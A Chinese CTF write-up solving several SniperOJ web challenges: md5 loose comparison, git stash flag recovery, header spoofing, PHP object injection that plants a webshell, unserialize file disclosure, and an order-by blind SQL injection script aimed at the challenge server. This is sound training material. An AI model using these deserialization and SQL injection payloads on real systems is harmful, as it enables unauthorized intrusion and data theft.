SniperOJ Web by Assassin

md5-vs-injection

好久不做题了

SniperOJ Web by Assassin_第1张图片

肯定是文件泄露了,猜测容易得到index.phps泄露文件,然后看一下是啥


$flag = 'SniperOJ{********************}';

    if(isset($_POST['password'])){
        $current_password = "QNKCDZO";
        $password = $_POST['password'];
        if (($current_password != $password)){
            $current_password_md5 = md5($current_password);
            $password_md5 = md5($password);
            if($current_password_md5 == $password_md5){
                echo '';
                echo $flag;
            }else{
                echo('');
            }
        }else{
            echo('');
        }
    }else{
        echo('');
    }
?>

然后这就简单了,随便用一个

SniperOJ{pHp_is_the_best_programming_language_in_the_world} 

2048

一看到题目中的参考资料发现…githacker???难道是源码泄露??一扫果然是

SniperOJ Web by Assassin_第2张图片

然后就用githacker下载吧
原来是js脚本啊,其实再chrome上也是可以看的,然后估计就死代码审计了,但是真的什么都没有啊!!!到底是什么鬼啊…
然后看了看高手的提示,这个题原本的问题并不在2048这个程序上,而是再git上!本来chrome就能阅读源码,何必再git上,对吧!因为git是关键点,这个题目是git日志的回转功能,即git再开发的过程中可以记录几个断点,利用git的命令可以返回工程的某个断点位置,类似于虚拟机的快照功能,本题就是把flag藏在了那里…真是…长见识了!
推荐一下王一航的文章,说得很清楚

http://www.jianshu.com/p/e9923b65789e

使用的工具也是需要用一航大牛的,lijiejie的Githacker不可以荡下来git信息
工具地址
https://github.com/wangyihang/githacker

制作过程

mkdir misc
cd misc
git init
echo "my file" > index.php
git add index.php
git commit -m "Init commit"
echo "SniperOJ{xxxxxx}" > flag
git stash save "hide my flag"
git log
git reflog

作者:王一航
链接:http://www.jianshu.com/p/e9923b65789e
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

王大牛的做法是爆搜

cat `find .`
这个命令可以直接递归打印当前文件夹下所有的文件内容
然后看到了一条比较奇怪的 commit id

使用正常的git指令恢复如下

方法一

git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03

首先第一个列出撤销点

SniperOJ Web by Assassin_第3张图片

看到一个添加什么my secret,然后返回到改断点即可!

这里写图片描述

然后发现再目录下就被恢复了
SniperOJ Web by Assassin_第4张图片

打开得到flag

方法二

git stash list | tee
git stash pop # 或者使用 git stash apply

SniperOJ Web by Assassin_第5张图片

真是学习了,膜一发

SniperOJ-Web-Browser

首先看到说浏览器限制

这里写图片描述

修改http头部的User-Agent

User-Agent: SniperOJ-Web-Broswer

然后变成了如下

SniperOJ Web by Assassin_第6张图片

添加如下

X-FORWARDED-FOR:127.0.0.1

SniperOJ Web by Assassin_第7张图片

一瞬间想到了jarvisoj 上的port 51,可以用curl来使他本地连接
使用一下语句

sudo curl -H "User-Agent: SniperOJ-Web-Broswer"  -H "X-FORWARDED-FOR:127.0.0.1"  --local-port 23333 http://120.24.215.80:10005/

但是不知道平台是咋了识别不了…嗯,方法肯定是对的…原来是需要公网IP…

php-object-injection

居然是什么毛病都说了,怎么可能没有源码呢!扫一发

这里写图片描述

下载先来文件然后用vim -r 恢复文件得到代码


    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }    
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
form> 


    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }

?>
<html>
<body>
<p><br/>Fuck, the powerline was suddenly cut off last night.p>
body>
html>

对于该题目还是有一些认识的,但是出于一些小错误一直蛋疼到很久猜解决
下面首先罗列一下坑点吧

1.一定要用php直接base64在urlencode!要不然貌似和自己在burp上加密的结果不一样?我擦,我也不知道为啥不一样!总之携代码解决
2.因为每次是追加的写入,所以在后面伪造文件的时候,构造一次要换一个文件名...
3.注意不要自己意淫把人家的private属性变成public!!!

然后我们直接写代码解决吧…嗯…


class Logger{
        private $logFile='img/new3.php';
        private $initMsg='';
        private $exitMsg="";  
    }


    print urlencode(base64_encode(serialize(new Logger())));
?>

上传小马,注意为了转移双引号中的post变量,我转义了$
然后得到之后用burp抓包构造cookie值如下

SniperOJ Web by Assassin_第8张图片

然后我们尝试一下效果

SniperOJ Web by Assassin_第9张图片

然后就是海阔凭鱼跃了嗯…还是自己太菜了…坑死自己
SniperOJ Web by Assassin_第10张图片

SniperOJ{761f3235f57b6664ac9eb2518edc1478} 

guess the code

首先扫描一下目录把

这里写图片描述

访问一下flag.php发现是这个
SniperOJ Web by Assassin_第11张图片

SniperOJ Web by Assassin_第12张图片

然后解密一下发现明显是一个 serialize()过的东西。也大概和提醒的切题把,而且这个一定是最后牵扯到一个文件读写的问题嗯。然后进行几次实验!
搞了一圈还是不知道是干什么的,扫描目录也不是源码泄露,看一下源码发现居然隐藏了东西…天坑

SniperOJ Web by Assassin_第13张图片

然后瞬间就简单了有木有,经过几次测试得到list的值是一个array类型,而且每次输入参数的时候list变化再数组后面加入输入内容,那么我们输入的东西可能也需要再输入之前数组解析,然后加入内容输出!构造代码如下


Class whatthefuck{
    public $source="flag.php";
    public function __toString()
    {
        return highlight_file($this->source,true);
    }
}
echo serialize(new whatthefuck())."
"
; echo urlencode(serialize(array(new whatthefuck())))."
"
; ?>

替换list值即可!

SniperOJ Web by Assassin_第14张图片

SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}

inject-again

提示了

这里写图片描述

间接说明admin用户存在,表名是admin列名是passwrod嗯,省事了,一看就像以前的什么盲注啊…
SniperOJ Web by Assassin_第15张图片

说明username存在截断!但是貌似过滤了#和//的注释符号!

http://120.24.215.80:10004/?username=admin'^0^1-- &password=123
http://120.24.215.80:10004/?username=admin'^1^1-- &password=123
http://120.24.215.80:10004/?username=admin' and 1-- &password=123

都可以构造盲注来着,但是没那么简单,貌似过滤了圆括号,limit,password,username字段,简直就是不可能用上述的盲注了…然后继续…
还是看了看大牛的提示…试一试

http://120.24.215.80:10004/?username=%27%20union%20select%20%201%2C1%2C1%23&password=1

发现存在注入点…当然了,因为过滤了password这个字段,直接去查询是不可能的,又不可以用圆括号,然后就想到了order by盲注嗯
类似的payload就是

?username=admin' union select 1,2,'%s' order by 3#&password=

因为第三列一般是password,这个可以通过order by 2猜测第二列是username大概猜测到嗯,然后注意申请的时候需要urlencode嗯。
直接上脚本

#_*_ coding:utf-8 _*_
import requests,re,string,urllib
sss=string.digits+string.uppercase+string.lowercase+'!'
url = 'http://120.24.215.80:10004?'
headers = {
    'Host': '120.24.215.80:10004',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1'

}
flag=''
for l in range(1,50):
    key=0
    for i in range(len(sss)):
        temp = flag+sss[i]
        nowurl=url+"username=admin' union select 1,2,'"+temp+"' order by 3%23&password="
        #print nowurl
        html = requests.get(nowurl).text
        #print html
        if len(sss)==i-1:
            break
        if '2' in html:
            continue
        else :
            flag+=sss[i-1]
            print flag
            key=1
            break
    if key==0:
        break

print "the password is ",flag

得到

498C67B7C86B01BD68AB5CBAFD245B1B

不知道为啥脚本存在一定的失误…

SniperOJ Web by Assassin_第16张图片

然后需要加上外壳嗯…最终答案

SniperOJ{sniperoj}





[实力不够持续更新]

你可能感兴趣的:(Web)